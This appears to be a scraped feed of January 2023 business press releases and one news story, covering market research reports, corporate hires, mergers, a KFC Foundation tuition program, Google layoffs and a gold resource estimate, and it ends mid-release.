4.5 Ensemble Orchestrator from Adva

4.5.1 Features

4.5.2 Partners and Customers

4.6 Kubernetes Services from Calsoft

4.6.1 Telco focus

4.7 Charmed OSM from Canonical

4.7.1 Support for Kubernetes and Other VIMs

4.7.2 Charmed OSM in Development Stack

4.7.3 Charmed OSM in Production Stack

4.7.4 Release Eight

4.8 Altran MANO Platform from Capgemini

4.8.1 Support for containers

4.8.2 Other Developments

4.9 Network Services Orchestrator from Cisco

4.9.1 NFVO Bundle Architecture

4.9.2 Other Developments

4.10 Blue Planet NFVO from Ciena

4.10.1 Major Blue Planet NFVO features

4.10.2 Telco Response

4.11 Open TOSCA-based MANO from Cloudify

4.11.1 Features

4.11.2 Telco Response

4.12 Orchestrator from Ericsson

4.12.1 Conventional NFVO Components

4.12.2 Evolved VNF Management

4.12.3 Telco Deployments

4.12.4 Cloud Container Distribution

4.12.5 Telco Response

4.13 BIG-IP Controller from F5

4.13.1 Features

4.14 NFV Director from HPE

4.14.1 CNF Orchestration

4.15 MANO Solution from Huawei

4.15.1 Telco Response

4.16 Contrail Service Orchestration from Juniper

4.16.1 Workflow

4.16.2 Contrail For Kubernetes

4.17 SDN/NFV MANO from NEC/Netcracker

4.18 CloudBand from Nokia

4.18.1 CloudBand Network Director

4.18.2 CloudBand Application Manager

4.18.3 Interworking with VMware vCloud NFV

4.19 Container Services from Nokia

4.20 SNO from Oracle

4.20.1 NFV Orchestration

4.21 Managed Kubernetes Service from Platform9

4.21.1 Luigi and 5G CNFs

4.22 OpenShift From Red Hat

4.22.1 OpenShift Software-Defined Network (SDN)

4.22.2 Certified Cloud-Native Network Functions for OpenShift Platform

4.23 vSphere for Kubernetes from VMWare

4.23.1 Workload Cluster for Data Plane CNFs

4.23.2 Software-Defined Networking Design for a vSphere with Tanzu Workload Domain

4.23.3 Support for Cloud Native Network Functions (CNF)

4.23.4 Telco Response

4.24 GitOps Enterprise from Weaveworks

4.25 WhiteNFV from White Stack

4.25.1 WhiteNFV Denver Leverages Kubernetes

5. Telco Initiatives

5.1 Introduction

5.2 Salient Observations

5.3 Company and Organization Summary

5.3.1 AT&T

5.3.2 Bharti Airtel

5.3.3 BT

5.3.4 China Mobile

5.3.5 China Telecom

5.3.6 China Unicom

5.3.7 Cox Communications Inc

5.3.8 Deutsche Telekom AG

5.3.9 Etisalat

5.3.10 Reliance Jio

5.3.11 TIM S.p.A.

5.3.12 KT Corporation

5.3.13 NTT Group

5.3.14 Orange SA

5.3.15 Saudi Telecommunication Company

5.3.16 Singtel

5.3.17 SoftBank Corp

5.3.18 Swisscom AG

5.3.19 Telefonica SA

5.3.20 Telenor ASA

5.3.21 Telstra Corp Ltd

5.3.22 Turk Telekom

5.3.23 Verizon

5.3.24 Vodafone Group Plc

5.3.25 T-Mobile

6. Quantitative Analysis and Forecasts

6.1 Research Methodology

6.2 Forecast Taxonomy

6.3 Global Market

6.3.1 User Profile

6.3.2 Geographical Regions

6.3.3 Virtualization Methodology

6.3.4 Product Profile

6.3.5 Deployment Location

6.4 Switching and Routing Network Functions

6.5 Core WAN Network Functions

6.6 Interfaces and Gateways Network Functions

6.7 IP Application Network Functions

6.8 Security and Testing Network Functions

For more information about this report visit https://www.researchandmarkets.com/r/8vmp86

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ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

Media Contact:

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SOURCE Research and Markets
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- TransPerfect, the world's largest provider of language and technology solutions for global business, today announced a major contract renewal for Guaranteed Rate. Building off Guaranteed Rate's September 2022 launch leveraging TransPerfect's GlobalLink platform, this collaboration will support Guaranteed Rate's multi-channel communications campaign for Spanish-speaking consumers in the US.

TransPerfect is the world's largest privately held provider of language and technology solutions. (PRNewsFoto/TransPerfect) (PRNewsFoto/TransPerfect)

Guaranteed Rate specializes in providing easy, transferable, and affordable mortgage loans through a system that aims to simplify home buying. Increasing accessibility through an exceptional Spanish-language process is a top priority for Guaranteed Rate. With Spanish-speaking agents as well as Spanish educational materials, transaction documentation, corporate websites, and customer support services, Guaranteed Rate is one of the first mortgage organizations to provide an end-to-end experience in Spanish.

Guaranteed Rate chose TransPerfect and its GlobalLink technology to support the creation and launch of its customer-facing content, including marketing and supporting materials, with minimal assistance needed from IT and project management teams. The simplicity of the launch and maintenance has resulted in significant cost and time savings for Guaranteed Rate.

GlobalLink is a cloud-based, intuitive platform designed to manage the complex demands of creating, deploying, and maintaining multilingual content, drastically reducing the time and effort required throughout the localization process.

"When members of the Latino community come to us, we are keenly aware that they are seeking more than just a house. The well-being of their families, their hopes and aspirations, and the future they plan to build for themselvesit's all rolled into one," remarked Arlyn Kalinski, Vice President of LEP Compliance for Guaranteed Rate. "That's why our mortgage process, tools, and services are groundbreaking. For Guaranteed Rate, it's about equal access. It's about educating and empowering the consumer so that they are able to reach the dream of homeownership."

Story continues

TransPerfect President and CEO Phil Shawe commented, "Buying a home is a significant personal milestone that many aspire to reach. We appreciate Guaranteed Rate's commitment to Spanish-speaking consumers and are grateful that we're able to continue assisting in their efforts."

About Guaranteed Rate

Guaranteed Rate Companies is a leader in mortgage lending and digital financial services. Headquartered in Chicago, the Guaranteed Rate Companies have more than 8,000 employees in over 850 branches across the U.S., serving all 50 states and Washington, D.C. Since its launch in 2000, Guaranteed Rate Companies have helped more than 1 million homeowners with home purchase loans and refinances, with a total loan volume of more than $116 billion in 2021 alone. The company has cemented itself as an industry leader by introducing innovative technology, offering low rates and delivering unparalleled customer service. Honors and awards include: Top Lender for Online Service for 2018 by U.S. News & World Report; Best Mortgage Lender for Online Loans and Best Mortgage Lender for Refinancing by NerdWallet for 2021; HousingWire's 2020 Tech100 award for the company's industry-leading FlashClose technology; No. 3 ranking in Scotsman Guide's 2021 list of Top Retail Mortgage Lenders; Chicago Agent Magazine's Lender of the Year for six consecutive years; and Chicago Tribune's Top Workplaces list for seven consecutive years. Visit rate.com for more information.

About TransPerfect

TransPerfect is the world's largest provider of language and technology solutions for global business. From offices in over 100 cities on six continents, TransPerfect offers a full range of services in 200+ languages to clients worldwide. More than 6,000 global organizations employ TransPerfect's GlobalLink technology to simplify management of multilingual content. With an unparalleled commitment to quality and client service, TransPerfect is fully ISO 9001 and ISO 17100 certified. TransPerfect has global headquarters in New York, with regional headquarters in London and Hong Kong. For more information, please visit our website at www.transperfect.com.

Cision

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SOURCE TransPerfect
Dallas Incorporated

Dallas Incorporated, Consulting and Funding Haven, Develops an Automated Formula for Business and Product Launches

Charlie Lass speaking at the State of Entrepreneurship Dallas event in 2021

Dallas Incorporated, Consulting and Funding Haven, Develops an Automated Formula for Business and Product Launches

Dallas, TX, Jan. 24, 2023 (GLOBE NEWSWIRE) -- After 20 years of setting startups in motion, a collective of business experts launched Dallas Incorporated in 2021. Charlie Lass, founder and CEO, and a small team run this consultancy firm and private investment fund. Their mission involves collaborating with emerging founders to solve complex problems and match new products with the right audiences. Dallas Inc. also supports established firms with operating more efficiently. These objectives are accomplished within a 30-day process.

What would take others a year takes us a month because its so intensive and automated, said Lass.

Dallas Inc. consults with clients on branding and marketing, fundraising, rebuilding executive boards, pricing strategies, audience matching, and other aspects of business innovation. Their model is intentionally short-term and aims to mentor businesses through the foundational opportunities and pitfalls of product rollouts and improvements. This consultancy also provides software and product development via partnerships. A driving goal is to ensure the success of both founders and their investors by teaching lessons learned to clients.

Lass explained, The vast majority of startups fail. The average cost of launching is $250,000 and takes 12 months. $50,000 for a 30-day process that validates your vision and may already have revenue is incredible value. We also take the stress and uncertainty away from Founders, something that is more and more important.



Charlie Lass interviewing Jessica Vittorio: Common legal mistakes made by startups.

Since the COVID-19 pandemic, Dallas Incorporated has brought 32 brands from scratch to varied audiences.

Along with its short-term model, Dallas Inc. typically works with no more than 1 client each month. This approach facilitates exclusivity, learning the ins and outs of business ideas, and cultivating customized market strategy.

Story continues

The firm is primarily based in Dallas, Texas. It recently expanded to the city of Fort Worth and will gradually spread to other Texas locations. Dallas Inc. hopes to become an involved part of business ecosystems by prioritizing client and community needs. An extension of these ambitions is to attract additional investors.

Were using our experience from many different geographical contexts and applying it to Dallas, remarked Lass.

To learn more about Dallas Incorporated, visit: https://www.dallas.inc

Media Communications:

Publicist: adamtorres@missionmatters.com



Attachment




Imperial Capital, LLC

LOS ANGELES, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Imperial Capital, LLC (Imperial Capital or Company) announced today the addition of senior high yield/distressed sales professional, Marc Litofsky, as the Company continues to add industry talent to its credit sales and trading platform. Mr. Litofsky, a credit sales and trading veteran with over twenty-two years of Wall Street experience, joins Imperial Capital as a Managing Director based in New York.

We are pleased to welcome Marc to Imperial Capital and are excited to add the quality of his experience, market creditability and long-standing client relationships to our team, said Denji Yiu, Head of US Fixed Income Sales. Imperial Capital is uniquely positioned to hire senior sales and trading professionals in a constricting employment market amidst current global markets uncertainty.

Prior to joining Imperial Capital, Litofsky spent 22 years at Credit Suisse, 18 of which were in High Yield/Distressed Sales and 4 as an Energy Analyst. He began his career as a CPA with Price Waterhouse after earning his Bachelor of Science degree in accounting from Syracuse University.

About Imperial Capital, LLC

Imperial Capital, LLC is a full-service investment bank offering a uniquely integrated platform of comprehensive services to institutional investors and middle market companies. We offer sophisticated sales and trading services to institutional investors and a wide range of investment banking advisory, capital markets and restructuring services to middle market corporate clients. Paired with our proprietary research and sales & trading desk analysis, we provide investment analysis across an issuer's capital structure, including bank loans, debt securities, the hybrid/bank capital marketplace (through our ELP Framework), post-reorganization equities, special situations claims and listed and unlisted equities. Our comprehensive and integrated service platform, expertise across the global capital structure, and deep industry sector knowledge enable us to provide clients with research driven ideas, superior advisory services, and trade execution. We are quick to identify opportunities under any market conditions and we have a proven track record of offering creative, proprietary solutions to our clients. Imperial Capital, LLC has three principal businesses: Investment Banking, Institutional Sales & Trading and Institutional Research. More information about Imperial Capital, LLC can be found at www.imperialcapital.com.

Story continues

For more information regarding Imperial Capital, please contact:

Mark Martis

+1 310 246 3674

mmartis@imperialcapital.com








Company Logo

Global Silicon on Insulator Market

Global Silicon on Insulator Market

Dublin, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The "Silicon on Insulator Market: Global Industry Trends, Share, Size, Growth, Opportunity and Forecast 2022-2027" report has been added to ResearchAndMarkets.com's offering.



The global silicon on insulator market reached a value of US$ 1.16 Billion in 2021. Looking forward, the publisher expects the market to reach a value of US$ 2.72 Billion by 2027, exhibiting a CAGR of 15.26% during 2021-2027.

Keeping in mind the uncertainties of COVID-19, we are continuously tracking and evaluating the direct as well as the indirect influence of the pandemic on different end use industries. These insights are included in the report as a major market contributor.



Silicon on insulator (SOI) refers to a microchip or semiconductor device manufacturing technique, wherein engineers place thin films of single-crystalline silicon on top of an insulator for streamlining the fabrication of integrated circuits (IC). It aids in reducing junction capacitance, resulting in higher speed, eliminating charge leakage, and optimizing the performance of SOI-based devices, while ensuring minimal power consumption.

On account of these properties, they are extensively used for producing various consumer electronics, microprocessors, radio frequency (RF) signal processors, biotechnological chips, and microelectromechanical systems (MEMS). At present, it is commercially available in fully and partially depleted silicon on insulator types.



Silicon on Insulator Market Trends:



One of the major factors driving the SOI market is the significant expansion in the electronics sector, along with the increasing demand for high-performance microelectronic and consumer electronic devices, including smartphones, notebooks, digital cameras, and desktops.

In line with this, the incorporation of fully depleted silicon on insulators (FD-SOI) in various automobile solutions, such as advanced driver assistance systems (ADAS) and semi-autonomous driving systems, due to their thermos-mechanical robustness, operational safety, low-power consumption, and long-term reliability properties are acting as other major growth-inducing factors.

Story continues

Additionally, significant technological advancements, such as the large-scale integration of radio frequency silicon on insulator (RF-SOI) wafers into smartphones to hold cellular signals and receive an uninterrupted connection from multiple locations, are contributing to the market growth.

Moreover, the rising need for low-power and affordable semiconductors and integrated circuits (IC) has facilitated the widespread adoption of SOI amongst the integrated device manufacturer (IDM) community, which is further propelling the market growth. Other factors, such as continuous investments in research and development (R&D) activities and frequent mergers and acquisitions (M&A) amongst key players to progress integrated circuit (IC) technology, are creating a positive outlook for the market.

Competitive Landscape:



The competitive landscape of the industry has also been examined along with the profiles of the key players being GlobalWafers Co. Ltd. (Sino-American Silicon Products Inc.), GlobalFoundries Inc., Murata Manufacturing Co. Ltd., NXP Semiconductors N.V., Shanghai Simgui Technology Co. Ltd., Shin-Etsu Chemical Co. Ltd., Silicon Valley Microelectronics Inc., Soitec, STMicroelectronics, SUMCO Corporation, Tower Semiconductor Ltd. and United Microelectronics Corporation.



Key Questions Answered in This Report:

How has the global silicon on insulator market performed so far and how will it perform in the coming years?

What has been the impact of COVID-19 on the global silicon on insulator market?

What are the key regional markets?

What is the breakup of the market based on the wafer size?

What is the breakup of the market based on the wafer type?

What is the breakup of the market based on the technology?

What is the breakup of the market based on the product?

What is the breakup of the market based on the application?

What are the various stages in the value chain of the industry?

What are the key driving factors and challenges in the industry?

What is the structure of the global silicon on insulator market and who are the key players?

What is the degree of competition in the industry?

Report Attribute Details No. of Pages 147 Forecast Period 2021 - 2027 Estimated Market Value (USD) in 2021 $1.16 Billion Forecasted Market Value (USD) by 2027 $2.72 Billion Compound Annual Growth Rate 15.2% Regions Covered Global

Key Topics Covered:



1 Preface



2 Scope and Methodology



3 Executive Summary



4 Introduction

4.1 Overview

4.2 Key Industry Trends



5 Global Silicon on Insulator Market

5.1 Market Overview

5.2 Market Performance

5.3 Impact of COVID-19

5.4 Market Forecast



6 Market Breakup by Wafer Size

6.1 300 mm

6.1.1 Market Trends

6.1.2 Market Forecast

6.2 200 mm

6.2.1 Market Trends

6.2.2 Market Forecast



7 Market Breakup by Wafer Type

7.1 FD-SOI

7.1.1 Market Trends

7.1.2 Market Forecast

7.2 RF-SOI

7.2.1 Market Trends

7.2.2 Market Forecast

7.3 PD-SOI

7.3.1 Market Trends

7.3.2 Market Forecast

7.4 Others

7.4.1 Market Trends

7.4.2 Market Forecast



8 Market Breakup by Technology

8.1 Smart Cut

8.1.1 Market Trends

8.1.2 Market Forecast

8.2 BESOI

8.2.1 Market Trends

8.2.2 Market Forecast

8.3 SiMOX

8.3.1 Market Trends

8.3.2 Market Forecast

8.4 ELTRAN

8.4.1 Market Trends

8.4.2 Market Forecast

8.5 SoS

8.5.1 Market Trends

8.5.2 Market Forecast



9 Market Breakup by Product

9.1 RF FEM Products

9.1.1 Market Trends

9.1.2 Market Forecast

9.2 MEMS Devices

9.2.1 Market Trends

9.2.2 Market Forecast

9.3 Power Products

9.3.1 Market Trends

9.3.2 Market Forecast

9.4 Optical Communication

9.4.1 Market Trends

9.4.2 Market Forecast

9.5 Image Sensing

9.5.1 Market Trends

9.5.2 Market Forecast



10 Market Breakup by Application

10.1 Consumer Electronics

10.1.1 Market Trends

10.1.2 Market Forecast

10.2 Automotive

10.2.1 Market Trends

10.2.2 Market Forecast

10.3 Datacom and Telecom

10.3.1 Market Trends

10.3.2 Market Forecast

10.4 Industrial

10.4.1 Market Trends

10.4.2 Market Forecast

10.5 Photonics

10.5.1 Market Trends

10.5.2 Market Forecast

10.6 Others

10.6.1 Market Trends

10.6.2 Market Forecast



11 Market Breakup by Region



12 SWOT Analysis



13 Value Chain Analysis



14 Porters Five Forces Analysis



15 Price Analysis



16 Competitive Landscape

16.1 Market Structure

16.2 Key Players

16.3 Profiles of Key Players

16.3.1 GlobalWafers Co. Ltd. (Sino-American Silicon Products Inc.)

16.3.1.1 Company Overview

16.3.1.2 Product Portfolio

16.3.1.3 Financials

16.3.2 GlobalFoundries Inc.

16.3.2.1 Company Overview

16.3.2.2 Product Portfolio

16.3.2.3 Financials

16.3.3 Murata Manufacturing Co. Ltd.

16.3.3.1 Company Overview

16.3.3.2 Product Portfolio

16.3.3.3 Financials

16.3.3.4 SWOT Analysis

16.3.4 NXP Semiconductors N.V.

16.3.4.1 Company Overview

16.3.4.2 Product Portfolio

16.3.4.3 Financials

16.3.4.4 SWOT Analysis

16.3.5 Shanghai Simgui Technology Co. Ltd.

16.3.5.1 Company Overview

16.3.5.2 Product Portfolio

16.3.6 Shin-Etsu Chemical Co. Ltd.

16.3.6.1 Company Overview

16.3.6.2 Product Portfolio

16.3.6.3 Financials

16.3.6.4 SWOT Analysis

16.3.7 Silicon Valley Microelectronics Inc.

16.3.7.1 Company Overview

16.3.7.2 Product Portfolio

16.3.8 Soitec

16.3.8.1 Company Overview

16.3.8.2 Product Portfolio

16.3.8.3 Financials

16.3.8.4 SWOT Analysis

16.3.9 STMicroelectronics

16.3.9.1 Company Overview

16.3.9.2 Product Portfolio

16.3.10 SUMCO Corporation

16.3.10.1 Company Overview

16.3.10.2 Product Portfolio

16.3.10.3 Financials

16.3.10.4 SWOT Analysis

16.3.11 Tower Semiconductor Ltd.

16.3.11.1 Company Overview

16.3.11.2 Product Portfolio

16.3.11.3 Financials

16.3.12 United Microelectronics Corporation

16.3.12.1 Company Overview

16.3.12.2 Product Portfolio

16.3.12.3 Financials

16.3.12.4 SWOT Analysis

For more information about this report visit https://www.researchandmarkets.com/r/36r621

Attachment

CONTACT: CONTACT: ResearchAndMarkets.com Laura Wood,Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./ CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900




KFC restaurant employees who apply and enroll will have the opportunity to receive 100 percent tuition coverage when attending WGU to earn their degree

LOUISVILLE, Ky., Jan. 24, 2023 /PRNewswire/ -- The KFC Foundation, in partnership with Western Governors University (WGU), today announced that KFC restaurant employees* will have the opportunity to receive 100 percent paid tuition when attending WGU to earn their degree.

Starting February 2023, the KFC Foundation, in partnership with Western Governors University, will offer eligible KFC restaurant employees 100 percent paid tuition when attending WGU to earn their degree.

Through this partnership, KFC restaurant employees can choose from more than 60 different bachelor's and master's degree programs and certification programs across Business, Information Technology, Education and Healthcare. The KFC Foundation program is non-competitive, meaning every eligible employee who applies and enrolls will get tuition coverage. Access to this opportunity is available beginning day one on the job for restaurant employees. WGU also offers rolling start dates every month, so KFC restaurant employees have the flexibility to enroll at any time and begin online courses as soon as they're ready.

"Every year we look for new ways to support and enhance the lives of KFC restaurant employees," said Emma Horn, Executive Director of the KFC Foundation. "What better opportunity to be able to offer team members than a flexible college degree program from Western Governors University that can fit seamlessly into their schedule. The program at WGU is perfect for someone who may not have enough hours in the day to balance a traditional college experience on top of a full- or part time- job and other life priorities."

Western Governors University is an accredited online university dedicated to making higher education accessible for as many people as possible. It is the leading academic institution where students learn and advance through competency-based education, rather than semester completion. As soon as a student masters the skills in a course and proves them through rigorous assessment, they progress in the program. Competency-based education works particularly well for learners in the workforce, giving them control over the pace of how and when they learn and may save them time progressing through the degree program.

Story continues

"Talent exists within every individual but the keys to unlock it can vary for each person," said Scott Pulsipher, President of Western Governors University. "Tens of thousands of KFC restaurant employees across the country can now further advance their lives, and that of their families and communities, by accessing and completing education programs that are relevant and personalized. I'm thankful that the KFC Foundation has entrusted WGU as its education partner to expand pathways to opportunity for KFC employees."

The KFC Foundation is an independent 501c3 organization that supports and empowers KFC restaurant employees and their communities by providing education opportunities, hardship assistance, grants for non-profits, and more. In addition to the WGU tuition coverage program, the KFC Foundation offers participating restaurant employees up to $20,000 in educational grants to attend the two- or four-year college, trade school or graduate school of their choice. KFC restaurant employees can apply for and win KFC Foundation scholarships year after year.

Programs offered by the KFC Foundation are funded and made possible by initiatives and programs including at-register Round-Up donations and purchases of KFC's Secret Recipe Fries. KFC Franchisees have the opportunity to participate in the Foundation's Annual Franchise Donation Program, in which a portion of every case of Secret Recipe Fries sold at participating restaurants goes directly to the KFC Foundation. The KFC Foundation's other charitable programs help restaurant employees earn their GED, receive support during a crisis, build an emergency savings fund and give back to non-profits in their community.

"Together with our franchisees, we seek to create meaningful career growth and employee development opportunities for our restaurant teams every day," said Karen Ancira, Chief People Officer, KFC U.S and KFC Foundation Board Member. "Whether it's the opportunity to earn a GED for free, a scholarship to the educational institution of their choice, or 100 percent tuition to WGU, our restaurant teams now have more options than ever to grow their careers with KFC or pursue any career they wish."

KFC restaurant employees interested in the WGU program can go to Kfcfoundation.org/wgu to learn more, and those interested in working at a KFC restaurant can visit kfc.com/careers for more information about available job opportunities in their area.

*To be eligible for the KFC Foundation's programs, one must be employed at a KFC restaurant participating in the KFC Foundation's Annual Franchise Donation Program and in good standing. Must maintain employment while taking advantage of these programs. Some restrictions may apply. See KFCFoundation.org for details.

References to "KFC" refer to corporate and independently owned KFC restaurants. KFC Corporation has no involvement in hiring decisions, orientation, staffing or the setting of wage rates and benefits for employees of independently owned and operated franchised locations. Benefits vary by location.

About the KFC Foundation

The KFC Foundation, an independent 501c3 organization, has provided over $25 million to support and empower more than 9,000 KFC restaurant employees, students and community non-profits across the U.S. The KFC Foundation's charitable programs include GED achievement, college scholarships, tuition coverage, community giving, savings matching and financial hardship assistance, all made possible by at-register Round-Up donations, purchases of KFC's Secret Recipe Fries and other donations. For more information, visit kfcfoundation.org. Visit our social channels: Facebook | Twitter | Instagram | LinkedIn

About Western Governors University

Established in 1997 by 19 U.S. governors with a mission to expand access to high-quality, affordable higher education, online, nonprofit WGU now serves more than 135,000 students nationwide and has more than 300,000 graduates in all 50 states. Driving innovation as the nation's leading competency-based university, WGU has been recognized by the White House, state leaders, employers, and students as a model that works in postsecondary education. In just 25 years, the university has become a leading influence in changing the lives of individuals and families, and preparing the workforce needed in today's rapidly evolving economy. WGU is accredited by the Northwest Commission on Colleges and Universities, has been named one of Fast Company's Most Innovative Companies, and has been featured on NPR, NBC Nightly News, CNN, and in The New York Times. Learn more at wgu.edu and wgu.edu/impact.

he WGU tuition coverage program is one of the many charitable programs that the KFC Foundation offers at participating restaurants to support and empower KFC restaurant employees to grow their careers and accomplish their goals. These efforts are funded and made possible by purchases of KFCs Secret Recipe Fries, and at-register Round-Up donations, among other initiatives.

KFC Logo (PRNewsfoto/KFC)

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SOURCE KFC
A laid-off Google employee felt "reduced to a dollar sign" after job cuts. Alain Jocard/Getty Images

An ex-Googler said she felt "betrayed" and "reduced to a dollar sign" after being laid off.

In a LinkedIn post, she said she was "disappointed" with how the tech giant executed the layoffs.

Google announced 12,000 layoffs Friday, with staff across all facets of the company impacted.

A laid-off Google employee said she felt "betrayed" and "reduced to a dollar sign" after the tech giant cut 12,000 jobs.

Katie Olaskiewicz, a human truths strategist at Google, said in a LinkedIn post she had been laid off as part of what she called "The Golden 12k"  the 12,000 people Google announced it would lay off in a Friday memo.

"I'm shocked and hurt and still processing," she said. "I disagree with the way this was executed, and from what I know, I'm disappointed that this measure was taken before others.

"I poured most of myself into my work. It's difficult when you feel betrayed but there isn't really an individual you can direct your anger towards."

She added that one of the "most critical lessons" she's learned is that "you can work for one of the most esteemed employers in the world and still be reduced to a dollar sign."

Olaskiewicz joined Google in 2019 as a senior account strategist and stayed at the company for just over three years, per her LinkedIn profile.

She had been working on the human truths team since July and said in her LinkedIn profile that her team consisted of "human behavior experts with a mission to help brands think differently about people, in order to find new opportunities to connect with their consumers."

After Google's CEO Sundar Pichai announced the company was laying off roughly 6% of its global workforce across various divisions, and functions in an email on Friday, many employees took to LinkedIn to share their thoughts.

Laid-off Googlers were stunned by the events with one engineer saying it felt like a "slap to the face" to find out he was laid off via email after 20 years at the firm. Another laid-off engineer said he was in a "state of shock" after being locked out of the company systems at 3 a.m.

Story continues

The layoffs came across locations, divisions, and pay-grades, with top performers also impacted.

During an all-hands meeting on Monday, Googlers asked how they were supposed to feel safe at the company when even high-performers could be laid off, Insider's Rosalie Chan and Hugh Langley reported.

"How can we reestablish psychological safety for Googlers after these layoffs?" one employee asked. "How are we supposed to ever feel safe again?"

Philipp Schindler, Google's chief business officer responded: "If you interpret psychological safety as removing all uncertainty, we can't do this."

Read the original article on Business Insider
Post Harvest Technologies, Inc.

Growers Custom Equipment unites with Facilities Management Group

SALINAS, Calif., Jan. 24, 2023 (GLOBE NEWSWIRE) -- Post Harvest Technologies, Inc., a Delaware C-Corporation, today announced the recent merger of two of its portfolio companies.



Growers Custom Equipment, LLC, headquartered in Yuma, AZ., and Facilities Management Group, LLC, of Salinas, have merged effective January 1, 2023.

We are excited to unite two leading players in the AgTech space, said Jim White, PhD., Chairman and CEO of Post Harvest Technologies, Inc. This merger will enhance our ability to meet our primary goals of food safety, sustainability, and energy performance in all our operations.

Growers Custom Equipment is a state-of-the-art, eco-friendly engineering and manufacturing company for agricultural pre-cooling equipment. It custom designs, engineers and manufactures products, reaching end users nationwide. Its array of cooling systems includes hydrocoolers, vacuum tubes, ice injectors, and ice storage units.

GCEs sister company, Facilities Management Group, provides service, maintenance, repairs, parts sales, consulting, and operational expertise for facility operators in the cold storage industry. FMG also offers compliance and safety expertise based on its diverse chemical safety and ammonia system knowledge.

Growers Custom Equipment remains in its Yuma location with a name change to Facilities Management Group, thus creating two strategic arms of FMG in Salinas and Yuma, White said.

Rather than continue as separate entities, we have created a new division of Facilities Management Group to handle the manufacturing of pre-cooling equipment  the former role of Growers Custom Equipment, White added. Look for the new Pre-Cooling Equipment Manufacturing Division tab on our soon-to-be revamped FMG website: www.FMGSolution.com.

In addition to GCE and FMG, Post Harvest Technologies operates two other portfolio companies: Central Coast Cooling, LLC, and PHT Investment Group, LLC.

Story continues

As part of our mission to be innovators and disruptors in the cold storage ag industry, we are embracing changes to the structure of our companies, White said. Streamlining our business model will add to our efficiency and effectiveness and will have an immediate, positive impact on our end users.

For more information, visit PostHarvestTechnologies.com.

Dr. Jim White is founder and CEO of PHT Investment Group LLC, as well as Chairman and CEO of Post Harvest Technologies, Inc. and Growers Ice Company, Inc. He is the bestselling author of five books, including Opportunity Investing: How to Revitalize Urban and Rural Communities with Opportunity Funds and Broken America: Ten Guiding Principles to Restore America . Throughout his career, he has bought, expanded, and sold 23 companies operating in 44 countries. He holds a B.S. in civil engineering, an MBA, and a doctorate in psychology and organizational behavior. He shares his insights and critical thinking skills in a webcast series, Healing America with Dr. Jim White , in which he explores the many issues and challenges faced by our nation  and how to fix them.

FURTHER INFORMATION:

Deborah Levison

203-258-5250




Material Bank

Revolutionary platform that has transformed the design industry in North America continues its international expansion, modernizing the way design professionals work in Europe

PARIS, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Material Bank , the worlds largest marketplace for searching, sampling, and specifying architecture, design, and construction materials, today announced its plans to launch in Europe in Q2 of this year.



Since its US launch in 2019, Material Bank has simplified the complex process of material searching and sampling by providing a powerful digital marketplace combined with a large-scale logistics facility. The platform allows architects, interior designers, and corporate buyers to search hundreds of thousands of materials, such as paint, flooring, textiles, ceramics, tiles, acoustics, and wallcoverings, across hundreds of brands and order samples for overnight delivery in a single box. With more than 500 brands and over 100,000 highly-vetted members, including users at more than 90% of the top 200 largest architectural and design firms and 20% of Fortune 1000 companies, the platform has gained rapid adoption within the design community and continues to experience exponential growth.

We are thrilled to expand Material Banks game-changing platform to the European market and partner with leading manufacturers in the region and beyond, said Adam I. Sandow, Founder and CEO of Material Bank. Material Bank has fundamentally transformed the way design professionals in North America discover and sample materials and bring their design projects to life, and we look forward to bringing our innovative tools and services to Europe.

Material Bank seamlessly connects global manufacturers with specifiers and buyers while reducing friction and saving valuable time for design professionals. Its tools and services have created massive efficiencies in the design process for both its members and brand partners alike. In addition to improving the speed of searching and sampling materials, Material Bank provides a sustainable solution by aggregating samples from multiple brands into a single box, and to date, has eliminated more than three million packages from being shipped.

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Material Bank Europe, led by Philippe Brocart, will launch with more than 100 brands spanning all material categories. Their logistics facility, strategically located near the Roissy CDG airport in Paris, is already receiving inventory in preparation for the launch.

Brocart, who was previously Managing Director of Maison&Objet fair and digital platform said, Material Bank has received incredible feedback from the design community in Europe. It is a significant advancement for the architecture and design industry, and we are beyond excited to bring about positive change to this market.

For more information about Material Bank, please visit: materialbank.com.

About Material Bank:

Material Bank is a marketplace for design professionals and brands in the architecture and design industry, providing the fastest and most sustainable way to search, sample, and specify materials. Named as one of Business Insiders Top Hottest Proptech Startups and Forbes Best Startup Employers , the revolutionary platform powers complex searches across hundreds of brands in seconds. Samples ordered by midnight (ET) are delivered in a single box by 10:30 AM the next day. With a rapidly growing community of members, Material Bank has changed the way material manufacturers and brands connect with the architecture and design industry.

Press contact:

Laura Steele

lsteele@materialbank.com




P2 Gold Inc.

Figure 1

Initial Mineral Resource Estimate for near-surface gold mineralization at the Monarch Gold Zone, see news release dated January 24, 2023

VANCOUVER, British Columbia, Jan. 24, 2023 (GLOBE NEWSWIRE) -- P2 Gold Inc. (P2 or the Company) (TSX-V:PGLD) (OTCQB:PGLDF) reports the initial Mineral Resource Estimate (MRE) for the near-surface gold mineralization drilled to date at the Monarch Gold Zone, a newly-discovered deposit at its BAM Project. The gold-copper BAM Project is located in the Golden Triangle of northwest British Columbia.

The announcement of an initial Mineral Resource Estimate for the near surface mineralization at the Monarch Gold Zone in just eighteen months from discovery speaks to the continuity of the zone, as well as the capabilities of our exploration team, commented Joe Ovsenek, President and CEO of P2. As importantly, it highlights the potential size of the porphyry system at depth that is driving the surface mineralization. The Monarch Gold Zone is currently defined for over a kilometre along strike, remains open in multiple directions, and is hosted within a large sericite/ankerite alteration system that covers the western half of the Property. The size and intensity of the mineral and alteration systems at surface are clearly indicative of a substantial porphyry system at depth. During 2023, the focus of the BAM Exploration Program will be exploration for the feeder zones and the porphyry system at depth and expansion of the near-surface mineralization.

BAM Project, Monarch Gold Zone Mineral Resource Estimate

The initial Monarch MRE comprises 520,000 ounces of gold in an Inferred Mineral Resource at a grade of 0.59 g/t (Table 1). The pit-constrained Mineral Resource Estimate starts at surface and continues to a depth of 190 metres over a strike length of 1,250 metres, with the Monarch Gold Zone open to expansion by drilling to the northeast and southwest. A plan map of the Monarch Gold Zone is available here.

Image 1

